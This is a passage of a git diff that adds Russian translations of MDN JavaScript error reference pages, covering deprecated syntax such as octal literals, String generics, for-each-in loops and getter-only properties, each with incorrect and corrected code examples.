+<p>Замыкания выражений пропускают фигурные скобки или операторы return из объявлений функций или определений методов в объектах.</p>
+
+<pre class="brush: js example-bad">var x = function() 1;
+
+var obj = {
+  count: function() 1
+};
+</pre>
+
+<h3 id="Стандартный_синтаксис">Стандартный синтаксис</h3>
+
+<p>To convert the non-standard expression closures syntax to standard ECMAScript syntax, you can add curly braces and return statements.</p>
+
+<pre class="brush: js example-good">var x = function() { return 1; }
+
+var obj = {
+  count: function() { return 1; }
+};
+</pre>
+
+<h3 id="Стандартный_синтаксис_с_использованием_функций_со_стрелками">Стандартный синтаксис с использованием функций со стрелками:</h3>
+
+<pre class="brush: js example-good">var x = () =&gt; 1;</pre>
+
+<h3 id="Стандартный_синтаксис_с_использованием_сокращенного_синтаксиса_метода">Стандартный синтаксис с использованием сокращенного синтаксиса метода</h3>
+
+<p>Замыкания выражений также можно найти с помощью getter'а и setter'а, например:</p>
+
+<pre class="brush: js example-bad">var obj = {
+  get x() 1,
+  set x(v) this.v = v
+};
+</pre>
+
+<p>With ES2015 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a>, это может быть конвертированно в:</p>
+
+<pre class="brush: js example-good">var obj = {
+  get x() { return 1 },
+  set x(v) { this.v = v }
+};
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Expression_closures">Expression closures</a> (Закрытие выражений)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a> (Стрелочные функции)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">Method definitions</a> (Определение метода)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/deprecated_octal/index.html b/files/ru/web/javascript/reference/errors/deprecated_octal/index.html
new file mode 100644
index 0000000000..b397c5adb3
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/deprecated_octal/index.html
@@ -0,0 +1,70 @@
+---
+title: 'SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated'
+slug: Web/JavaScript/Reference/Errors/Deprecated_octal
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<p> </p>
+
+<pre>SyntaxError: Octal numeric literals and escape characters not allowed in strict mode (Edge)
+SyntaxError: "0"-prefixed octal literals and octal escape sequences are deprecated;
+for octal literals use the "0o" prefix instead</pre>
+
+<p>Перевод:</p>
+
+<pre class="syntaxbox">Ошибка синтаксиса: Восьмеричные числовые литералы и escape-последовательности, не разрешены в строгом режиме (Edge)
+Ошибка синтаксиса: восьмеричные литералы с префиксом "0", и восьмеричные escape-последовательности считаются устаревшими;
+для восьмеричных литералов используйте префикс "0o"
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}} только в строгом режиме.</p>
+
+<h2 id="Что_пошло_не_так"><strong>Что пошло не так?</strong></h2>
+
+<p>Восьмеричные литералы и восьмеричные escape-последовательности являются устаревшими и будут выдавать {{jsxref("SyntaxError")}} в строгом режиме. С ECMAScript2015 стандартным синтаксисом является использование ведующего нуля с последующеей заглавной или строчной латинской буквой "O" (<code>0o</code> bили <code>0O</code>)</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="0-prefixed_octal_literals_(восьмеричные_литералы_с_префиксом_0)">"0"-prefixed octal literals (восьмеричные литералы с префиксом "0")<br>
+  </h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+03;
+
+// Ошибка синтаксиса: восьмеричные литералы с префиксом "0" и восьмеричные escape-последовательности считаются устаревшими
+</pre>
+
+<h3 id="Octal_escape_sequences_(Восьмеричные_escape-последовательности)">Octal escape sequences (Восьмеричные escape-последовательности)</h3>
+
+<pre class="brush: js example-bad">"use strict";
+
+"\251";
+
+// SyntaxError: восьмеричные литералы с префиксом "0" и восьмеричные escape-последовательности считаются устаревшими
+</pre>
+
+<h3 id="Valid_octal_numbers_(Допустимые_восьмеричные_числа)">Valid octal numbers (Допустимые восьмеричные числа)</h3>
+
+<p>Используйте ноль с последующей латинской буквой "o" или "O".</p>
+
+<pre class="brush: js example-good">0o3;
+</pre>
+
+<p>Вместо escape-последовательностей можно использовать шестнадцатеричные escape-последовательности:</p>
+
+<pre class="brush: js"><span style="font-size: 1rem; letter-spacing: -0.00278rem;">'\xA9';</span></pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">Lexical grammar</a>(Лексическая грамматика)</li>
+ <li>
+  <p><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Bad_octal">Warning: 08/09 is not a legal ECMA-262 octal constant</a>(Предупреждение: 08/09 нет законной восьмиштырьковой константы ECMA-262)</p>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/deprecated_source_map_pragma/index.html b/files/ru/web/javascript/reference/errors/deprecated_source_map_pragma/index.html
new file mode 100644
index 0000000000..8d15ecea2f
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/deprecated_source_map_pragma/index.html
@@ -0,0 +1,113 @@
+---
+title: >-
+  SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //#
+  instead
+slug: Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma
+tags:
+  - Explorer
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+  - карты кода
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead
+
+Warning: SyntaxError: Using //@ to indicate sourceMappingURL pragmas is deprecated. Use //# instead
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>Предупреждение о том, что произошла ошибка {{jsxref("SyntaxError")}}. Выполнение скрипта не будет остановлено.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Есть устаревший синтаксис карты кода в исходном коде JavaScript.</p>
+
+<p>Файлы JavaScript нередко объединяются и сокращаются, чтобы доставлять их с сервера более эффективно. С <a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">картой кода</a>, отладчик может сопоставить код выполнения для исходных файлов.</p>
+
+<p>Спецификация карты кода меняет синтаксис из-за конфликта с IE всякий раз, когда он был найден в странице после <code>//@cc_on</code> было интерпретировано для включения условной компиляции в IE JScript engine. <a href="https://msdn.microsoft.com/en-us/library/8ka90k2e%28v=vs.94%29.aspx">Комментарий условной компиляции</a> для IE малоизвестен, и это разбивает карты кода <a href="https://bugs.jquery.com/ticket/13274">jQuery</a> и других библиотек.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Устаревший_синтаксис">Устаревший синтаксис</h3>
+
+<p>Синтаксис с использованием знака "@" устарел.</p>
+
+<pre class="brush: js example-bad">//@ sourceMappingURL=http://example.com/path/to/your/sourcemap.map
+</pre>
+
+<h3 id="Стандартный_синтаксис">Стандартный синтаксис</h3>
+
+<p>Используйте знак "#".</p>
+
+<pre class="brush: js example-good">//# sourceMappingURL=http://example.com/path/to/your/sourcemap.map</pre>
+
+<p>Или, в качестве альтернативы, вы можете установить заголовок для Вашего JavaScript-файла чтобы избежать комментирования:</p>
+
+<pre class="brush: js example-good">X-SourceMap: /path/to/file.js.map</pre>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Новый синтаксис</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(24) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Новый синтаксис</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile(24) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Как использовать карты кода – документация Firefox Tools</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">Введение в карты кода – HTML5 rocks</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
new file mode 100644
index 0000000000..fa10558782
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
@@ -0,0 +1,103 @@
+---
+title: 'Warning: String.x is deprecated; use String.prototype.x instead'
+slug: Web/JavaScript/Reference/Errors/Deprecated_String_generics
+tags:
+  - JavaScript
+  - предупреждение
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<div>Поддержка строковых обобщенных методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Warning: String.charAt            is deprecated; use String.prototype.charAt            instead
+Warning: String.charCodeAt        is deprecated; use String.prototype.charCodeAt        instead
+Warning: String.concat            is deprecated; use String.prototype.concat            instead
+Warning: String.contains          is deprecated; use String.prototype.contains          instead
+Warning: String.endsWith          is deprecated; use String.prototype.endsWith          instead
+Warning: String.includes          is deprecated; use String.prototype.includes          instead
+Warning: String.indexOf           is deprecated; use String.prototype.indexOf           instead
+Warning: String.lastIndexOf       is deprecated; use String.prototype.lastIndexOf       instead
+Warning: String.localeCompare     is deprecated; use String.prototype.localeCompare     instead
+Warning: String.match             is deprecated; use String.prototype.match             instead
+Warning: String.normalize         is deprecated; use String.prototype.normalize         instead
+Warning: String.replace           is deprecated; use String.prototype.replace           instead
+Warning: String.search            is deprecated; use String.prototype.search            instead
+Warning: String.slice             is deprecated; use String.prototype.slice             instead
+Warning: String.split             is deprecated; use String.prototype.split             instead
+Warning: String.startsWith        is deprecated; use String.prototype.startsWith        instead
+Warning: String.substr            is deprecated; use String.prototype.substr            instead
+Warning: String.substring         is deprecated; use String.prototype.substring         instead
+Warning: String.toLocaleLowerCase is deprecated; use String.prototype.toLocaleLowerCase instead
+Warning: String.toLocaleUpperCase is deprecated; use String.prototype.toLocaleUpperCase instead
+Warning: String.toLowerCase       is deprecated; use String.prototype.toLowerCase       instead
+Warning: String.toUpperCase       is deprecated; use String.prototype.toUpperCase       instead
+Warning: String.trim              is deprecated; use String.prototype.trim              instead
+Warning: String.trimLeft          is deprecated; use String.prototype.trimLeft          instead
+Warning: String.trimRight         is deprecated; use String.prototype.trimRight         instead
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>Предупреждение. Исполнение кода JavaScript не будет остановлено.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Нестандартные обобщенные методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщенные методы предоставляют возможность применять методы экземпляров <code>String</code> к любым объектам.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Устаревший_синтаксис">Устаревший синтаксис</h3>
+
+<pre class="brush: js example-bad">var num = 15;
+String.replace(num, /5/, '2');</pre>
+
+<h3 id="Стандартный_синтаксис">Стандартный синтаксис</h3>
+
+<pre class="brush: js example-good">var num = 15;
+String(num).replace(/5/, '2');
+</pre>
+
+<h2 id="Прослойка">Прослойка</h2>
+
+<p>Ниже приведен код прослойки, с помощью которой можно добавить поддержку обобщенных методов String в другие браузеры:</p>
+
+<pre class="brush: js">/*globals define*/
+// Предполагаем, что все требуемые методы экземпляров String уже присутствуют
+// (если нет, для них так же можно использовать полифиллы)
+(function() {
+  'use strict';
+
+  var i,
+    // Мы могли построить массив методов следующим образом, однако метод
+    //   getOwnPropertyNames() нельзя реализовать на JavaScript:
+    // Object.getOwnPropertyNames(String).filter(function(methodName) {
+    //   return typeof String[methodName] === 'function';
+    // });
+    methods = [
+      'contains', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
+      'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
+      'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase', 'normalize',
+      'toLocaleUpperCase', 'localeCompare', 'match', 'search', 'slice',
+      'replace', 'split', 'substr', 'concat', 'localeCompare'
+    ],
+    methodCount = methods.length,
+    assignStringGeneric = function(methodName) {
+      var method = String.prototype[methodName];
+      String[methodName] = function(arg1) {
+        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
+      };
+    };
+
+  for (i = 0; i &lt; methodCount; i++) {
+    assignStringGeneric(methods[i]);
+  }
+}());</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
new file mode 100644
index 0000000000..e5d4eb3d00
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
@@ -0,0 +1,90 @@
+---
+title: 'Warning: Date.prototype.toLocaleFormat (Является устаревшим)'
+slug: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Внимание: Date.prototype.toLocaleFormat устарело; рассмотрите возможность использования Intl.DateTimeFormat взамен.
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>предупреждающий. Выполнение скрипта не будет остановлено.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?  </h2>
+
+<p>Нестандартный {{jsxref("Date.prototype.toLocaleFormat")}} метод, устарел и больше не должен использоваться. Он использует строку формата в том же формате, ожидаемом<br>
+ <code>strftime()</code> функция в C. функция больше не доступна в Firefox 58+.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильный_синтаксис">Неправильный синтаксис</h3>
+
+<p>В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удален (поддержка кроссбраузерных браузеров, доступна только в Firefox).</p>
+
+<pre class="brush: js example-bad">var today = new Date();
+var date = today.toLocaleFormat('%A, %e. %B %Y');
+
+console.log(date);
+// In German locale
+// "Freitag, 10. März 2017"</pre>
+
+<h3 id="Альтернативный_стандартный_синтаксис_с_использованием_ECMAScript_IntlAPI">Альтернативный стандартный синтаксис с использованием ECMAScript IntlAPI</h3>
+
+<p>Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учетом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).</p>
+
+<p>You can now either use the {{jsxref("Date.prototype.toLocaleDateString")}} method if you just want to format one date.</p>
+
+<pre class="brush: js example-good">var today = new Date();
+var options = { weekday: 'long', year: 'numeric',
+                month: 'long', day: 'numeric' };
+var date = today.toLocaleDateString('de-DE', options);
+
+console.log(date);
+// "Freitag, 10. März 2017"
+</pre>
+
+<p> </p>
+
+<p>Или, вы можете использовать {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} объект, который позволяет кэшировать объект с большинством вычислений, выполненных таким образом, чтобы Форматирование было быстрым. Это полезно, если у вас есть цикл дат для форматирования.</p>
+
+<pre class="brush: js example-good">var options = { weekday: 'long', year: 'numeric',
+                month: 'long', day: 'numeric' };
+var dateFormatter = new Intl.DateTimeFormat('de-DE', options)
+
+var dates = [Date.UTC(2012, 11, 20, 3, 0, 0),
+             Date.UTC(2014, 04, 12, 8, 0, 0)];
+
+dates.forEach(date =&gt; console.log(dateFormatter.format(date)));
+
+// "Donnerstag, 20. Dezember 2012"
+// "Montag, 12. Mai 2014"
+</pre>
+
+<h3 id="Альтернативный_стандартный_ситнаксис_с_использованием_Дата_методов">Альтернативный стандартный ситнаксис с использованием Дата методов</h3>
+
+<p>{{jsxref("Date")}} объект предлагает несколько методов для построения пользовательской строки даты.</p>
+
+<pre class="brush: js example-bad">(new Date()).toLocaleFormat("%Y%m%d");
+// "20170310"
+</pre>
+
+<p>Может быть преобразован в:</p>
+
+<pre class="brush: js example-good">let now = new Date();
+let date = now.getFullYear() * 10000 +
+          (now.getMonth() + 1) * 100 + now.getDate();
+
+console.log(date);
+// "20170310"</pre>
+
+<h2 id="Смотрите_также">Смотрите также </h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString")}}</li>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
new file mode 100644
index 0000000000..4219e825ba
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
@@ -0,0 +1,51 @@
+---
+title: >-
+  SyntaxError: test for equality (==) mistyped as assignment (=)?(тест на
+  равенство (==) опечатка как присваивание (=)?)
+slug: Web/JavaScript/Reference/Errors/Equal_as_assign
+translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: тест на равенство (==) опечатка как присваивание (=)?
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>(Только в Firefox) {{jsxref("SyntaxError")}} предупреждение, в котором сообщается, только если <code>javascript.options.strict</code> предпочтение установлено в<code>true</code>.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включенными строгими предупреждениями) предупреждает об этом шаблоне.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Задание_в_условных_выражениях">Задание в условных выражениях</h3>
+
+<p>Рекомендуется не использовать простые назначения в условном выражении (например, if...else), поскольку при просмотре кода назначение можно спутать с равенством. Например, не используйте следующий код:</p>
+
+<pre class="brush: js example-bad">if (x = y) {
+  // делать правильные вещи
+}
+</pre>
+
+<p>Если необходимо использовать присваивание в условном выражении, то обычно вокруг него ставят дополнительные скобки. Например:</p>
+
+<pre class="brush: js">if ((x = y)) {
+  // делать правильные вещи
+}</pre>
+
+<p>В противном случае вы, вероятно, хотели использовать оператор сравнения (например, = = или ===):</p>
+
+<pre class="brush: js">if (x == y) {
+  // делать правильные вещи
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if...else</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
new file mode 100644
index 0000000000..861f44e1e9
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
@@ -0,0 +1,163 @@
+---
+title: 'Предупреждение: циклы JavaScript 1.6 for-each-in устарели'
+slug: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated
+tags:
+  - Устаревшие циклы
+translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Предупреждение: циклы JavaScript 1.6 for-each-in устарели; вместо них рекомендуется использовать ES6 for-of
+</pre>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удален в ближайшем будущем.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Итерация_обьекта">Итерация обьекта</h3>
+
+<p>{{jsxref("Statements/for_each...in", "for each...in")}} используется для итерации по указанным значениям объектов.</p>
+
+<h4 id="Устаревший_синтаксис">Устаревший синтаксис</h4>
+
+<pre class="brush: js example-bad">var object = { a: 10, b: 20 };
+
+for each (var x in object) {
+  console.log(x);        // 10
+                         // 20
+}
+</pre>
+
+<h4 id="Альтернативный_стандартный_синтаксис">Альтернативный стандартный синтаксис</h4>
+
+<p>Теперь вы можете использовать стандартный {{jsxref("Statements/for...in", "for...in")}} цикл для итерации по указанным ключам объекта и получения каждого значения внутри цикла:</p>
+
+<pre class="brush: js example-good">var object = { a: 10, b: 20 };
+
+for (var key in object) {
+  var x = object[key];
+  console.log(x);        // 10
+                         // 20
+}
+</pre>
+
+<p>Or, using {{jsxref("Statements/for...of", "for...of")}} (ES2015) and {{jsxref("Object.values")}} (ES2017), можно получить массив указанных значений объекта и выполнить итерацию по массиву следующим образом:</p>
+
+<pre class="brush: js example-good">var object = { a: 10, b: 20 };
+
+for (var x of Object.values(object)) {
+  console.log(x);        // 10
+                         // 20
+}
+</pre>
+
+<h3 id="Итерация_массива">Итерация массива</h3>
+
+<p>{{jsxref("Statements/for_each...in", "for each...in")}} используется для итерации по заданным элементам массива.</p>
+
+<h4 id="Устаревший_синтаксис_2">Устаревший синтаксис</h4>
+
+<pre class="brush: js example-bad">var array = [10, 20, 30];
+
+for each (var x in array) {
+  console.log(x);        // 10
+                         // 20
+                         // 30
+}
+</pre>
+
+<h4 id="Альтернативный_стандартный_синтаксис_2">Альтернативный стандартный синтаксис</h4>
+
+<p>Это теперь возможно с {{jsxref("Statements/for...of", "for...of")}} (ES2015) петли также.</p>
+
+<pre class="brush: js example-good">var array = [10, 20, 30];
+
+for (var x of array) {
+  console.log(x);        // 10
+                         // 20
+                         // 30
+}
+</pre>
+
+<h3 id="Итерация_по_нулевому_массиву">Итерация по нулевому массиву</h3>
+
+<p>{{jsxref("Statements/for_each...in", "for each...in")}} ничего не делает, если указанное значение <code>null</code> или <code>undefined</code>, но {{jsxref("Statements/for...of", "for...of")}} выдаст исключение в этих случаях.</p>
+
+<h4 id="Непрвильный_синтаксис">Непрвильный синтаксис</h4>
+
+<pre class="brush: js example-bad">function func(array) {
+  for each (var x in array) {
+    console.log(x);
+  }
+}
+func([10, 20]);        // 10
+                       // 20
+func(null);            // prints nothing
+func(undefined);       // prints nothing
+</pre>
+
+<h4 id="Альтернативный_стандартный_синтаксис_3">Альтернативный стандартный синтаксис</h4>
+
+<p>Переписать  {{jsxref("Statements/for_each...in", "for each...in")}} операторы, чтобы значения могли быть <code>null</code> или <code>undefined</code> с{{jsxref("Statements/for...of", "for...of")}} также необходимо охранять {{jsxref("Statements/for...of", "for...of")}}.</p>
+
+<pre class="brush: js example-good">function func(array) {
+  if (array) {
+    for (var x of array) {
+      console.log(x);
+    }
+  }
+}
+func([10, 20]);        // 10
+                       // 20
+func(null);            // prints nothing
+func(undefined);       // prints nothing
+</pre>
+
+<h3 id="Итерация_по_паре_ключ-значение_объекта">Итерация по паре ключ-значение объекта</h3>
+
+<h4 id="Неправильный_синтаксис">Неправильный синтаксис</h4>
+
+<p>Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осужденный {{jsxref("Iterator")}} обьект.</p>
+
+<pre class="brush: js example-bad">var object = { a: 10, b: 20 };
+
+for each (var [key, value] in Iterator(object)) {
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+</pre>
+
+<h4 id="Альтернативный_стандартный_ситнтаксис">Альтернативный стандартный ситнтаксис</h4>
+
+<p>Теперь можно использовать стандартный цикл {{jsxref("Statements/for...in", "for...in")}} цикл для итерации по указанным ключам объекта и получения каждого значения внутри цикла:</p>
+
+<pre class="brush: js example-good">var object = { a: 10, b: 20 };
+
+for (var key in object) {
+  var value = object[key];
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+</pre>
+
+<p>Или, использовать {{jsxref("Statements/for...of", "for...of")}} (ES2015) и {{jsxref("Object.entries")}} (ES2017), можно получить массив указанных значений объекта и выполнить итерацию по массиву следующим образом:</p>
+
+<pre class="brush: js example-good">var object = { a: 10, b: 20 };
+
+for (var [key, value] of Object.entries(object)) {
+  console.log(key, value);  // "a", 10
+                            // "b", 20
+}
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+ <li>{{jsxref("Object.values")}}</li>
+ <li>{{jsxref("Object.entries")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/getter_only/index.html b/files/ru/web/javascript/reference/errors/getter_only/index.html
new file mode 100644
index 0000000000..9dc64f048f
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/getter_only/index.html
@@ -0,0 +1,81 @@
+---
+title: >-
+  TypeError: setting getter-only property "x"(установка свойства только для
+  геттера "x")
+slug: Web/JavaScript/Reference/Errors/Getter_only
+translation_of: Web/JavaScript/Reference/Errors/Getter_only
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox">TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge)
+TypeError: установка свойства только для геттера "x" (Firefox)
+TypeError: не удается установить свойство "prop" из #&lt;Object&gt;, который имеет только геттер (Chrome)
+
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}} только в строгом режиме.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Предпринята попытка задать новое значение свойству, для которого указан только геттер. . Пока это молча будет проигнорировано в non-strict режиме, оно бросит {{jsxref("TypeError")}} в <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В приведенном ниже примере показано, как установить getter для свойства. Он не задает сеттер, так TypeError выдается при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+function Archiver() {
+  var temperature = null;
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    }
+  });
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+
+arc.temperature = 30;
+// TypeError: setting getter-only property "temperature"</pre>
+
+<p>Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для нее сеттер, например, как показано ниже:</p>
+
+<pre class="brush: js example-good highlight[12]">"use strict";
+
+function Archiver() {
+  var temperature = null;
+  var archive = [];
+
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    },
+    set: function(value) {
+      temperature = value;
+      archive.push({ val: temperature });
+    }
+  });
+
+  this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
new file mode 100644
index 0000000000..9a0108616e
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
@@ -0,0 +1,58 @@
+---
+title: >-
+  SyntaxError: identifier starts immediately after numeric literal(идентификатор
+  начинается сразу после числового литерала)
+slug: Web/JavaScript/Reference/Errors/Identifier_after_number
+translation_of: Web/JavaScript/Reference/Errors/Identifier_after_number
+---
+<div>{{JSSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: непредвиденный идентификатор после числового литерала (Edge)
+SyntaxError: идентификатор запускается сразу после числового литерала (Firefox)
+SyntaxError: непредвиденное число (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p> </p>
+
+<p>Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определенным правилам, которых должен придерживаться ваш код!</p>
+
